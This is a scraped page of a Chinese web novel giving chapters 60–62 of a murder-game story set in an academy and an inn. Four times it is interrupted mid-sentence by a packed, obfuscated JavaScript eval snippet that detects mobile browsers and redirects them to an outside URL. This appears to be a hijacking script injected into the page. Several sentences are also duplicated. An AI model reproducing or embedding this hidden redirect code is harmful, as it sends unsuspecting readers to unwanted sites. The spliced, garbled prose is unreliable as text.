他快步走进书斋，看见靠在墙边手腕再次渗血的苏却时，脸上又露了几分惊讶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717640|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他关切道：“苏兄，午时在饭堂见你，身上的伤口明明都已包扎妥帖，怎么这才一会儿工夫，又出血了？”林无岩道，“宋兄也是，自己本就虚弱，还要分神再照顾别人。我听说秦兄也受伤了，还送到你们这来了，就担心你们三人彼此照应不过来，如何？需要我帮忙吗？” 苏却指了指桌案上之前剩的干净布条，道：“林兄弟你来得正好，这样的事还是得交给懂的人来，我这手腕确实疼得厉害，包扎得也不妥帖，劳烦你重新帮我包扎一下吧，多谢了。” 然后，她转向宋停，抱怨道：“好冷，我估计背上的伤口也裂开了，疼得紧。宋停，劳驾你帮我关个门，挡挡风。你就先在门外稍候片刻好了。” 宋停与苏却对视一眼，点头应道：“好，药粉还有剩，就在案上，你们记得用。” 说罢，他与林无岩一个擦肩，带上门，到外面去了。 书斋内，林无岩先是看了一眼躺在地上的秦玉奇，担忧地问道：“秦兄……就这样躺着没事吗？地上挺冷的吧，要不找点什么垫子给他垫一下？重伤之人，若是再受了凉，可就更加不妙了。” 苏却缓缓走过去，将干净布条递到林无岩手上，同时重重地叹了口气，脸上布满愁容：“他毕竟是高处坠楼，内腑伤势恐怕极重，能吊着一口气已是万幸。如今大家皆是自顾不暇，能不能活下来，真的要看天意了。你说呢，林兄弟？” “是，是，是。”林无岩连连点头，附和着，伸手准备去拆苏却手腕上的布条。 然而，就在他手触碰到布条的一瞬间，苏却手腕猛地一翻，那截布头就如同一条毒蛇锁住了猎物，瞬间缠绕而上，紧紧捆住了林无岩的手腕。 林无岩猝不及防，一句“苏兄”尚未惊呼出口，苏却已然一脚狠狠踹在他的膝窝处。 林无岩痛呼一声，双膝一软，扑通一声重重跪倒在地。 苏却趁势拆下自己手腕上染血的布条，将林无岩的双脚脚踝也迅速缠绕了几圈，紧紧打了个结。 可他刚准备给苏却的手腕拆下染血布条的一瞬间，苏却将布头一抽，瞬间将林无岩的手腕绕了起来。 这一切发生得太快，待林无岩反应过来，他又急又气，惊怒交加，挣扎道：“你！你你！你这是干什么？！” 林无岩又急又气，怒道：“你你你，你这是干什么？” 苏却仿佛没事人一般，一屁股坐在桌案上，拿过药瓶，将药粉倒在自己裂开沁血的伤口上，又用新的干净布条，熟练地为自己重新包扎好。 做完这一切，她才抬起眼，看向跪在自己面前的林无岩，冷笑了一声。 “这里是我的书斋。”苏却的声音带着压迫，“你打不过我，当然只能任我摆布。你来之前难道不知道，在这个地方，一个人对另一个人，可以想干嘛就干嘛，包括……杀了你吗？” “忘恩负义！”林无岩气得浑身发抖，朝苏却啐了一口唾沫。 苏却似乎早有预料，随手抓过案上一张纸，轻描淡写地一挡，那口唾沫便落在了纸上。 她将纸一揉，随手扔在地上。 林无岩见状，更是怒不可遏：“我……我曾经救了宋停！你就这样对我？！” 苏却闻言，非但没有丝毫动容，反而俯下身，伸手用力捏住他的下巴，笑道：“救？你做什么了？” “我……”林无岩一时语塞，支吾着答不上来。 苏却手上又加力道，将他的脸掰转，朝向地上秦玉奇的尸身，道：“或许你之前，本是存了几分真心，若真如此，我先行谢过。不过，在论及其他之前，我想先和你，好好聊一聊……秦玉奇。” 60. 赴考（二十二） 赴考（二十二） 林无岩的下颚被苏却死死钳住，头颅扭向一侧，视线被迫落在秦玉奇的尸身上。 林无岩并非没见过生死之人，只是…… 他紧闭双眼。 苏却把他的头掰得更近了一些，对他道：“你不好好看看哪里需要包扎，哪里需要上药吗？” 他只能硬着头皮把眼睛睁开。 然而，看得久了，他才觉察到不对劲。 过分苍白的肤色，毫无起伏的胸口，不自然扭曲的手脚…… “他已经死了。”这句话脱口而出，语气平静。 随即，他意识到这种平静在此刻显得非常不合时宜，于是开始激烈挣扎，脑袋用力向后仰，试图摆脱苏却的钳制，声音委屈又愤怒，还试图用音量掩盖。 “苏却你安的什么心？为什么不让我救他？现在他死了，你开心了？你究竟想做什么？！放开我！” “我以为你是个聪明人，”苏却松开了手，任由他徒劳地挣扎，自己则目光淡漠地看着他，“怎么，事到如今，还不打算说实话吗？” 林无岩手脚虽被布条缚住，却努力挺直了背脊，满面倔强：“你要我说什么？我无话可说！就算我真的说了，你又能做些什么？” 他语气尖刻：“你看看你自己浑身上下这副狼狈的样子，苏却！你真以为你是能力挽狂澜，救众人于水火的英雄吗？你连你自己都救不了，凭什么要别人相信你？凭什么觉得你能掌控这局面？别自以为是了！” 面对他的嘲讽，苏却非但没有动怒，反而笑了一声。 林无岩因苏却突如其来的笑，一怔，随即愈发恼怒，仿佛受到了极大的侮辱，脸色涨红：“你笑什么？被我说中了，无言以对了是吗？” “我笑你蠢。”苏却一字一顿。 “从此刻，到新的身份纸条发放，是你今日作为凶手身份的最后时间。你现在心里应该很得意，因为你杀了秦玉奇，完成了凶手的任务，觉得自己又能侥幸多活一天了，是吗？” 林无岩嘴角抽搐了一下，但他嗤笑一声，索性斜着往旁边地上一坐，将束着的脚抽出挪到侧边，改了原先的跪姿，坦然道：“是又如何？不是又如何？” “可你现在在我手上。”苏却自怀中掏出那把随身携带的匕首。 匕身出鞘，刃鞘相砺，发出一声清泠锐响，寒光乍现。 她注视着刃锋，平淡道：“我虽不是凶手，一样可以杀了你。” 林无岩呼吸一窒，近在咫尺的刀锋令他身躯绷紧，汗毛倒竖。 可他依然没有松口，梗着脖子低声吼道：“你……你如果杀了我，你什么也得不到，也别想知道任何东西！省省你的威胁吧，这招对我没用！” “对我无用之人，留着亦是累赘。”苏却手腕一转，匕首的锋刃紧贴着林无岩颈侧的皮肤，冰冷尖薄，随时都可以捅开他的血管。 林无岩干脆将头一撇，闭上双眼，嘴唇紧抿，不再发出任何声音，一副铁了心肠死扛的模样。 “目光短浅。”苏却的声音再次在他耳边响起，“杀了一个秦玉奇，你或许能苟活过今日。那明天呢？后天呢？你不会一直是凶手。当你的身份轮换时，你想过自己要如何离开这里吗？” 她顿了顿，继续道：“更何况秦玉奇，恐怕并非你最初的目标吧？不过是你无法完成真正目标后，退而求其次，不得已的选择。连凶手真正的任务都无法做到，你又凭什么笃定，自己一定会活到最后？” “……”林无岩的眼皮剧烈地颤动了一下。 苏却继续压：“而且，我想你应该有所察觉，失去了凶手身份之后，可能会忘记一些事。比如……忘记作为凶手时知晓的规则，忘记某些关键的信息，甚至忘记自己曾经做过什么。到那时，失去了这份优势的你，还有什么可以倚仗的东西和谈判的条件？” “……” “你有把握，就靠你自己一个人，解决这次的事件，找到生路，离开这书院吗？”匕首的尖端轻轻点在他的喉结上，每点一下，林无岩便浑身一颤。 长久的沉默在书斋内蔓延，压抑得令人窒息。 只有窗外偶尔传来风吹树叶的细微响声。 终于，林无岩浑身气力尽泄，肩头垮塌下来。 他极其艰难地挤出几个字：“……你……你想知道什么？” 苏却手中的匕首微微移开寸许，声音依旧冷淡：“凶手的一切，和所有你知道的事，一字不漏。” …… “铛——” 一声沉闷的钟声穿透了书斋的门板。 互学结束了。 不多时，一张纸条从门缝之中塞进来。 苏却目光一凛，立刻起身走过去，弯腰拾起，背对着林无岩，缓缓将纸条展开。 目光触及纸上的图案时，苏却微微一愣。 这是一个全新的图案，是干干净净方方正正的一把尺子。 她知道，这张新的身份，或许意味着书院的这场生死之局，即将接近尾声。 而身后的林无岩，嘴里的话已经完全变了方向。 他的声音无辜而悲愤：“苏兄！苏兄你放开我！这到底是怎么回事？你快放开我，让我看看秦兄！我略通医理，或许还有救！我是无辜的！你为何要绑着我？！” 与方才吐露实情时完全判若两人。 门外，已经隐隐传来了脚步声、低语声以及开关门的声音。 大家正陆续离开书斋，准备返回客栈。 有人在敲苏却的门，几声之后，书斋的门打开了一小道，宋停探身进来。 “我去了他的书斋，看到了他的纸条。”宋停快步走到桌案旁边，拿笔蘸墨，在纸上快速画了一个图案。 是笔。 苏却看到这个图案后，一言不发，蹲下身，用匕首利落地挑断了他手腕和脚踝上缠绕的布条。 布条一松，林无岩活动了手脚后，焦急万分，连忙开始对秦玉奇进行探查施救，伸手探鼻息，摸颈脉…… 直到手下传来尸体的僵硬，他才痛心疾首地将手缩回，颓然坐倒在地。 没过多久，张山起也寻了过来。 他目光急切地问道：“苏公子，你可见到叶公子？我去他书斋找他，他人不在。我以为他会来你这里商议事情，怎么……也没在吗？” 苏却摇了摇头：“未曾见到。” 张山起面色一白。 他看了看秦玉奇的尸体，咬牙道：“既如此，可能他有事先回去也说不定……秦兄的尸身，也不能一直留在此处。我和林兄先将尸首送回客栈好了。” 离开书院时，天际残留着一抹暗红。 偌大的书院空荡寂静，与白日有人走动交谈时的模样截然不同。 阴风阵阵，死气沉沉。 苏却刻意放慢了脚步，与前方抬着尸体的张山起和林无岩拉开了一段不小的距离。 宋停跟在她身侧。 见她若有所思，他忽然露出一抹笑，问道：“怎么样？苏大捕头，这下总该夸我两句了吧？” 苏却瞥了他一眼：“夸你什么？” “夸我机灵，有眼力见儿啊！”宋停挑了挑眉，得意道，“这不，你一个眼神，我心领神会顺利完成，这不是就在等着你亲口肯定嘛。” 苏却没接他的玩笑，沉声道：“我在想，林无岩已经亲口认了自己是今日的凶手。那另一个呢？除了把你打晕，想要杀我之外，他难道就再没有其他动作了吗？” 宋停敛了笑意，正色道：“林无岩后来到底都说了些什么？” 苏却一边缓步前行，一边将方才经过简要告知宋停：“他说，凶手的纸条与普通人不同，图案为一柄的小刀，旁边会附有小字规则。规则要求，凶手需在当日之内，设法与同伴确认身份，然后在人群中找到并杀掉所有持有书图案的人。若能成功，则所有非凶方参与者，会被永远困在这书院之中，唯有凶手可以离开此地，重返现实；若不成功，必须凶手必须杀死一人，完成自保任务。” “原来书的身份如此关键。”宋停看了看苏却，带着一丝后怕，“你之前两次拿到，我还以为这只是最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16723186|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 普通的身份之一。如此说来，凶手要在一天之内，判断人群中谁是同伴，谁是书，有几人，也并非易事。自保之时还容易误杀刺盾，适得其反。” “所以，有所保留没错，但也不能全部保留，否则全是消耗。除了刺盾，目前还不知道非凶方能有何反击方式。到最后，其实还是凶手占优。”苏却道，“那‘夫人一去不归尘’的线索，本就是面向所有人开放的，并非只给非凶方的提示，凶方同样也能解读。‘二’字，既指凶手有两人，也表示书的身份者，同样有两人。若身份泄露过多，被凶手掌握了信息，非凶方全军覆没，确实可能只在朝夕之间。” “反正现在大家都拿到了新的身份纸条，一切重新洗牌。”宋停分析道，“那个黑衣人在他作为凶手的时间内，并没有杀死你，也没有出现其他新的死者。那么按照规则，任务失败的他，一定会死。就算他成功地杀了别人保命，身份也已轮换，我们即便知道他是谁，似乎也无可奈何了，毕竟昨日之凶非今日之凶。” “话虽如此，”苏却的眉头并未舒展，反而蹙得更紧，“但叶别风既不在书斋，也未来找我，这很不寻常。张山起显然也不知他的去向。我担心……” 宋停不以为意地撇撇嘴：“这有什么可奇怪的？人家家世显赫，心思深沉，或许有什么不欲人知的打算，做什么事何必向你报备？说不定正躲在哪个角落里，盘算着如何利用众人呢。” “不，”苏却摇头，不安道，“我怕他会被灭口。他似乎知道很多陈年往事……我本想着之后寻机会再向他仔细打听些消息。如果他此刻死了……” 宋停闻言，语气冷了几分，排斥道：“知道那些旧事的，也不止他叶别风一人。何况，那小子一副虚伪客套又故作风流的纨绔模样，谁知道他跟你说的那些话，几句是真，几句是假？我看了听了，只觉心烦。” “虚伪客套便罢了，你如何看出他风流了？我知你们或许有旧怨，但我与他交谈，只见其审慎，未见其轻浮。” “那你别管，”宋停语气又恢复了那副懒洋洋的调子，“反正你答应我了要合作，不管是在这，还是醒来，我都跟定你了。你休想甩开我。” “你不能自己找点正经事做吗？”苏却有些无奈。 “跟着你，就是很正经，很重要的事啊。”宋停理直气壮地回答。 “我不需要。”苏却拒绝得干脆利落。 “我需要啊！”宋停眨眨眼，无赖道，“你让我自己找事做，那这就是我选定的事，你怎么还来干涉呢？” 他说得振振有词。 苏却被他这番歪理搅得一时语塞，深知再与他争辩下去也只是徒耗口舌，干脆闭口不言，默默加快了脚步。 宋停见状，立刻快步跟上。 …… 客栈门口的荒地上，已有五座坟墓。 第六座坟的主人，此刻正粗布覆面，安置在客栈大堂的地面上。 张山起脚步快，早已回到客栈，正如同热锅上的蚂蚁，焦急地向聚在大堂的其他人询问叶别风的下落， 可得到的却都是，不曾见过。 天色渐暗。 他焦灼地在门口踱步，等了一会儿后，终究按捺不住心中的不祥，冲出客栈大门，向着书院方向狂奔而去。 然而，就在张山起离去后不久，一个身影踉跄着，走到客栈门口。 是叶别风。 他面有倦色，神情空洞，身上沾了干枯的草叶树枝，脚步虚浮得仿佛下一步就会栽倒在地。 他只身一人，缓缓地挪进客栈门内。 段春音连忙走到门口向外望了望，回身急道：“叶公子，你回来了！你……你这是怎么了？不久之前，张公子跑出去寻你了，就是往书院方向去的。怎么，你们没有遇到吗？” “……”叶别风像是听觉迟钝，又像是神情不属，反应了很久，呆滞的目光才落在段春音的脸上，梦呓一般开口，“你说……山起……他……他去哪了？” 话音未落，他身体一晃，双眼一闭，如同断线的木偶瘫了下去，不省人事。 61. 赴考（二十三） 赴考（二十三） 叶别风被人七手八脚地抬进房间，安置在床榻上，脸色苍白如纸，依旧昏迷不醒。 众人离开后，苏却站在床边看了片刻，宋停则抱臂靠在一旁的墙边，眼神晦暗不明。 突然，楼下传来一声短促而惊慌的叫喊，紧接着是杂乱的脚步声和更大的喧哗。 “门口那团东西是什么？” “好像是人……是不是张山起？” “真的是他……他这是怎么了？” “他受伤很严重！快！” 苏却与宋停对视一眼，立刻转身出了房间，快步走向楼梯。 刚下得几步台阶，大堂内的景象便映入眼帘。 张山起面朝下趴在地上，背部遍布着伤口，衣衫已破破烂烂，被大片血液浸透，露出底下模糊的血肉。 他身体微微抽搐着，看起来已经奄奄一息。 而原本神出鬼没的掌柜，正破天荒地站在账台。 他双手拢在袖中，一双无光的眼睛似看非看，仿佛投向混乱，又仿佛穿透了眼前的人影。 不过，不知道是因为宋停对掌柜大闹一场起了作用，还是掌柜预知到了事态的发展，今日的晚餐是放在每个人的房间里的，不仅菜色好了一点点，还多了一瓶伤药粉。 变化不止于此。 或许是苏却今日的话起了作用，又或许是众人觉得昨晚在戚时晴死时，还依然刻板地遵守日程，导致错过了可能抓凶手的最佳时机。 今日返回客栈后，多数人竟都还留在堂中，未曾立刻回房。 眼下，这才有了足够的人手，应对这接连不断的突发状况。 林无岩早已蹲在张山起身旁，手法熟练地用布条按住他背上严重的几处伤口试图止血。 关记秋拿着伤药粉站在一旁，担忧却又镇定地协助林无岩，及时递上所需物品。 段春音和陶雨竹各自端水，寻布，亦是上上下下忙碌着。 楚念来胆小，宁剑书话少，杨季野怒气未消。 只此三人单独回了房间。 李长宥和李共川兄弟二人，则安然坐在离掌柜最近的一张方桌旁，喝着桌上那不知摆放了多久的茶水，自顾自地低声交谈着什么，脸上是一如既往的漠然。 他们既未去关心叶别风，也未来照顾张山起，是完全置身事外的看客，好像所有人的生死已经与他们无关。 只有孟兰红，独自站在楼梯下方，眼神犹豫地望着正从楼上下来的苏却，似乎有话要说。 苏却径直走到她面前，停下脚步：“你有何事？” 孟兰红看了苏却一眼，又迅速低下头：“苏公子……有，有件事，我觉得……应该告诉你。” 她用力抠着自己的手指：“客栈里的第一个晚上，都是没有蜡烛的，漆黑一片。随后每一天回来，房中都会备好蜡烛，而且……只要没有意外，入夜后它们都会自己亮起来。” “嗯，我知道。”苏却点头。 孟兰红的声音越来越轻：“……可是……今晚，我回来的时候发现，康大化的房间是黑着的……而且，我留意了好久……都不曾，不曾看见他回来……” 宋停立刻提醒她：“苏却，这是不是……”。 苏却肯定道：“是。” 康大化个子不矮，身形不瘦，行动上也不是敏捷灵活之人。 所以他绝对不会是那个袭击的黑衣人。 这个天色还没回来的话，已经基本上可以确认死亡。 而最可能的死因，就是黑衣人袭击苏却失败，觉得自己任务无望，只能先杀一个保命。 苏却推测，黑衣人在自己这一侧的可能性很大。 因为对面书斋楼，经过秦玉奇坠楼和林无岩的身份确认后，值得怀疑的人选已然不多。 如果双凶都在对面，那么两人碰面明确身份的可能性极大。合计一番后，无论如何要拼尽一切先把书身份的苏却先杀了，对他们来说才是百利无害之事。 即使要分工找出其他书图案的持有者，也必然是苏却死了之后的事。 “来个人搭把手吧。”林无岩的声音打断了苏却的思绪，“不能让张兄一直趴在地上，得把他抬到房间里去休息，这里太冷，伤口也容易沾上脏东西，不利于恢复。” 宋停站在那里看了一圈，心中是一千一万个不情愿去碰任何与叶别风相关之人。 李家兄弟是肯定指望不上的，他们旁若无人，连眼皮都未曾抬一下。 剩下的，除了正在忙碌的林无岩，便只有关记秋、段春音、陶雨竹、孟兰红和……苏却。 清一色的……女子。 李家兄弟俩看样子是指望不上了，剩下的除了林无岩，就只剩关记秋、段春音、陶雨竹、孟兰红和……苏却，清一色的……女子。 可是…… 他想了想苏却的脾气，自己的脖子感觉有几分紧，又看了看她身上的伤…… 除了他能上，还有谁？ 果不其然，苏却本欲伸手过来，被宋停拦下。 宋停道：“你不如去看看叶别风醒了没有。他那种人，惯会装模作样，一般不轻易失魂落魄到晕厥的地步，除非……真的遭遇了什么事。或许，他能提供些线索。” 苏却特意看了宋停一眼，片刻后才点头应道：“好。” 她转身，重新踏上楼梯，走向叶别风的房间。 推门而入时，苏却发现叶别风已经醒了。 但他只是一动不动地躺在那里，一句话都没有说，睁着一双空洞的眼睛呆呆地看向顶板，失了魂一般，连有人进屋，也没有侧头看一眼。 苏却用脚将凳子钩至床边，坐下，单刀直入，开口便道：“你拿凶手了。” 叶别风的身体剧烈地颤抖了一下，侧过头，不可置信地盯着苏却，脸上血色尽褪，只剩下错愕恐慌。 苏却继续平平淡淡道：“说说你的规则，看看和我掌握的，是否有出入。” “……”叶别风的嘴唇哆嗦着，眼眶在一瞬间泛红。 他深深地吸了一口气，哑着嗓子问道，“你不怕我杀了你？” 苏却轻笑：“那你也得有这个本事。你只是持有凶手身份，又不是给了你什么特殊能力。连拖一个秦玉奇的尸身，都显得那般费劲吃力，还想杀我？未免太高看自己了。” “可我到底做错了什么？”叶别风的眼泪终于控制不住，混着脸上的灰尘，滑落，“我不想害人，从来都不想……可我也不想死……” 苏却的眼神一冷：“但是如今，按这客栈的规则，你只能二选一。杀人，或者……死。” “那如果是你呢？”叶别风伸手抹了一把自己的脸，从床上坐起身，面对面地看着苏却，问道，“如果是你， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733561|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏却，被逼到这般境地，二选一，你选什么？” “我选杀人。”苏却没有丝毫犹豫，回答得干脆。 “哈哈哈哈哈哈哈哈哈哈哈……”叶别风闻言，发出一阵疯狂又苦涩的笑声，“你不是我，你不是我，你不懂，我做不到的，我也不能这么做……我叶别风自问从未主动做过什么伤天害理之事，从小便被教导要努力上进，光耀门楣，背负着家族一层又一层的期望和枷锁，时时刻刻扮演着一个所有人都希望看到的叶别风……难道，我唯一的错，就是我活在这个世界上吗？” “……” 苏却沉默片刻。 就在这时，叶别风从床榻内侧抽出另一只手，手中紧握着一把小刀，刀柄样式与之前段春音杀章世昌的那一把极为相似。 叶别风涕泗横流地笑着，拔出小刀，比划在自己脖子上，声音颤抖地问道：“苏却你说，我以凶手身份杀掉叶别风，这算自保任务成功，还是算我该死呢？” 苏却看着他手中的刀，看着他眼底的疯狂与绝望，想了想，然后认真回答道：“理论上，你可以先用寿命换一个护命符，然后再试。或许规则有空子可钻。” “我早已想过了，所以我醒来后就尝试兑换，但是没有任何回应。”叶别风满脸狼狈地慢慢平静了下来，颓然地摇头，语气绝望，“这样的情况也就是说，今天兑换的次数已经用完了……你知道吗苏却，这里的人看似对你恭恭敬敬的，可是，没有一个人听你的……所以啊，短短几天，就死了这么多的人……一个接一个……” “而现在……终于，轮到我了……”他一瞬间像是放弃挣扎，转向释然。 他重新躺了回去，目光空洞：“你出去吧，把门关上，之后就……不要再进来了。给我……留最后一份体面，和尊严。” 苏却看着他，那平日里风度翩翩的贵公子，此刻平躺在床榻之上，等待着生命的终局。 她沉默地站起身，没有再劝。 走到门口，手搭在门上，她最后回头看了一眼床上的叶别风。 那一刻，她心中竟涌起一股无力感。 她一直以为，生死不过是天地间最简单不过的事情。 非生即死，非死即生，不过在一念之间。 重要的从来不是间，而是那个念。 为了这个念，人才会经历诸多世事，遇到形形色色的人，这些人与事，或有轻重缓急，或分远近亲疏，填充了原本苍白间。 可是，这间会出错，会偏离，所有的人和事，都会有无法预料、无法控制的时刻…… “如果你觉得活着是错的，那是因为你心中没有找到对的念头。如果你按照心中的对而活，那么，无论你做了什么，都不会错。” 说罢，她不再停留，伸手，缓缓合上了叶别风的房门。 将那沉重的一切，关在了门后。 转身，苏却就看到了向她走来的宋停。 他似乎刚刚安顿好张山起，来叫她回房间用晚饭。 “我们只需再找一个凶手即可。”苏却看着宋停道。 叶别风的坦白，虽然残忍，但对他们而言，无疑是巨大的推进与助力。 宋停立刻会意。 他上前一步，俯身靠近苏却耳边，用低声说道：“正好，我刚刚隐约听到了一点东西……断断续续，但似乎……与另一个凶手有关。” 62. 赴考（二十四） 赴考（二十四） 宋停在关上房门之前，非常谨慎。 他将门留了一条细缝，侧身向外窥视了良久，确认空无一人后，这才轻轻合上。 做完这一切，他仍不放心，又将耳朵贴在门板上细听了片刻。 “原先那间屋子位置倒是隐蔽，”他转过身，压低声音对苏却说道，“可惜你大度，让给了别人。如今这里……左右对面虽已经有房间空了，但总觉得好像有人在偷听似的。” 他一边说着，一边走向房间里的苏却。 耳语间，他凑得极近，几乎能感受到彼此呼吸间的气息交织。 一股淡淡的血腥味和药粉的味道萦绕在苏却周身，不知为何，交织在一起后，竟然有一股如同溪水般干净的气息，清爽，凛冽。 这股气息，让他有瞬间的恍惚。 他不禁想起当时自己投河被救，于混混沌沌生死边缘时，第一次睁开眼看见的那张脸。 骨相分明，线条利落，一脸英气与疏离，冷清清地，却如同黑暗中唯一的一道亮光，将他从无尽深渊中硬生生拽了回来。 是她救了他。 那一刻，他觉得自己那不堪的人生，仿佛有什么东西，开始悄然松动，变化。 想到这里，宋停的嘴角控制不住地，一点点上扬。 直至想到那碗被苏却掀翻的米粥，自己满脸的惊愕和她一脸的淡然…… 而如今，这个人，就在自己的身侧…… 宋停竟低低地笑出了声。 苏却被他这突如其来的笑声弄得一怔，下意识地后退了半步，拉开两人之间的距离，皱着眉，一脸不解道：“无缘无故，你笑什么？” 宋停回过神来，连忙摆手让苏却坐在桌边：“没什么，没什么，就是想起些无关紧要的旧事。来来来，我们先说正事，正事要紧。” “你边吃边听我说。”他将桌上盛着饭菜的托盘往苏却面前推了推，重新凑近几分道，“刚刚我安顿好张山起，准备来隔壁寻你之时，经过宁剑书那屋的门口，听到里面有类似争吵的声音。楚念来的声音我记得非常清楚，他在说着‘一定要杀我’、‘杀别人很危险’、‘杀我才能活’之类的……你说，他这意思，是不是在……在叫宁剑书杀了他？” 苏却拿起筷子，随意吃了两口盘中的菜肴，便又放下了。 她有几分无奈道：“你的意思是，宁剑书是凶手，并且不知为何将自己的身份告诉了楚念来，让楚念来帮自己出谋划策。然后楚念来权衡之下，觉得宁剑书去杀别人风险太高，反而有可能会送命，于是便让宁剑书杀了自己，以此活命？” “……”宋停倒吸一口凉气，随即扯了扯嘴角，嘿嘿干笑道，“有点离谱是不是，我自己听着都觉得匪夷所思，所以赶紧过来找你商量看看，他们这唱的到底是哪一出？” 苏却冷静分析道：“除我以外，目前剩下的人有楚念来、宁剑书、林无岩、关记秋、段春音、陶雨竹、李长宥、李共川、杨季野、孟兰红。张山起只剩最后一口气，危在旦夕，叶别风那边……就忽略不计吧。宋停，你试想，倘若你是凶手，要在今夜里动手，这群人中，你会选择谁作为目标？” 宋停不假思索，脱口而出：“张山起啊！这还用选吗？反正他都快死了，杀谁不是杀？杀个活蹦乱跳的人，还要担心他反抗尖叫，引来旁人风险太大。杀一个重伤昏迷，毫无还手之力的人，岂不是十拿九稳？不过……” 他话锋一转：“现在林无岩和关记秋应该还在他房里照看，想来暂时无事。除非能确定无人守着。” 苏却继续追问：“除了张山起呢？还有谁？” “嗯……关记秋、陶雨竹、孟兰红这几个吧。”宋停摸了摸下巴。 随后，他像是突然想起什么，连忙举起三根手指，补充道：“那个……我先说明，我宋停对天发誓，绝对没有任何看不起女子的意思，也丝毫不觉得她们有哪里不对，或是哪里不好。你千万别误会。我就是……就是纯粹按一般人对身量啊，力道啊，这些较为普遍的，而且十分片面的认知，来考虑凶手在情急之时可能会做的选择而已。这绝不代表我个人的真实想法。” 他说着，还下意识地摸了摸自己的脖子，又轻轻转了转，把自己摘得干干净净。 “我又没说什么，你如此敏感作甚。”苏却看着他这副急于撇清的模样，只觉好笑，“既然你如此纯粹普遍，又为何没有将段春音和宁剑书也列入其中？” “这不明摆着吗？”宋停摊手，“宁剑书那人，成天独来独往，很少与他人打交道，一看就不是好相与的。段春音嘛……她动手杀过人，性子里有狠劲，不好惹不好惹。有更容易得手的目标摆在面前，凶手除非是疯了，否则怎么会舍易求难，去冒这个险？” “既然如此，”苏却的目光变得深邃，看着宋停，“明明比楚念来更优更安全的选择比比皆是，为什么楚念来还会觉得自己会和‘被杀’或者‘死’扯上关系？甚至到了需要和宁剑书讨论的地步？” 宋停顺着苏却的思路往下想：“……所以，你的意思是，楚念来今日的身份是书。因为他是书，自知难以自保，所以想把身份告诉他觉得可能值得信赖的宁剑书，想寻求庇护？” 但他随即又摇头，自己否定了这个猜测：“不，不对，这说不通啊。他告诉宁剑书有什么用？万一……万一宁剑书真的是另一个凶手，他这岂不是自投罗网，送大家一起上西天？” “所以，如果楚念来真的是书，那么另一个就必须藏得更深才好。而我们，也不能无所作为。”苏却站起身，走到窗边，透过窗户看向外面沉沉的夜色，“等稍晚一些，待众人都歇下，我们将张山起转移到秦玉奇那间空房去。然后，在张山起的房间里，试一试这守株待兔之法。” “好。”宋停点头，神色也凝重起来。 两人计议已定，便各自静坐调息，等待时机。 不知过了多久，客栈内安静下来，灯火陆续熄灭。 等到林无岩和关记秋离开张山起的房间之时，宋停刻意大声地和他们打了招呼，套了句“需要静养”的话。 随后他假装要去楼下找水喝，动静极大地经过众人的门口。 苏却也早已出了门，屋外已是漆黑一片，确认无异常，才开始动手。 两人蹑手蹑脚地进入张山起房间。 房间里弥漫着浓重的血腥气和伤药的味道。张山起依旧昏迷不醒，趴在床榻上。 两人动作麻利，一前一后，小心翼翼地将张山起抬至隔壁秦玉奇的空房，安置于床榻内侧，用被子稍作遮掩。 事毕，二人又迅速折返回张山起的房间。 按照计划，由宋停躺在床上，盖着被子，伪装成昏迷不醒的张山起。 苏却则藏于房门之后，在确认对方确实心怀不轨意图行凶之后，趁其不备时出手制敌。 房间内陷入了死一般的寂静。 宋停好像能听到自己的心跳，以及苏却的呼吸声。 时间仿佛被拉长了，每一息都过得格外缓慢。 不知过了多久，门外，终于传来了一丝细微的动静。 紧接着，屋门被人从外面，慢慢地，推开了一小条缝隙，刚好够一个身体侧身潜入。 来人动作轻巧敏捷，进屋之后甚至不曾有片刻的停顿，直接悄步向床边靠去。 苏却在黑暗中待久后逐渐适应，勉强能分辨出那人影的动作。 只见那人影在靠近床榻后，似乎掏出了什么，微微举起，作势要动。 就是现在！ 苏却飞扑过去，右手用力钳住那人持凶器的手腕，左手反握匕首，本想对准脖颈威胁一番。 那人显然没料到门后竟埋伏着人，反应却是奇快。他直接放弃了手中的凶器，手腕如无骨一般一扭，身体往下一蹲，险之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 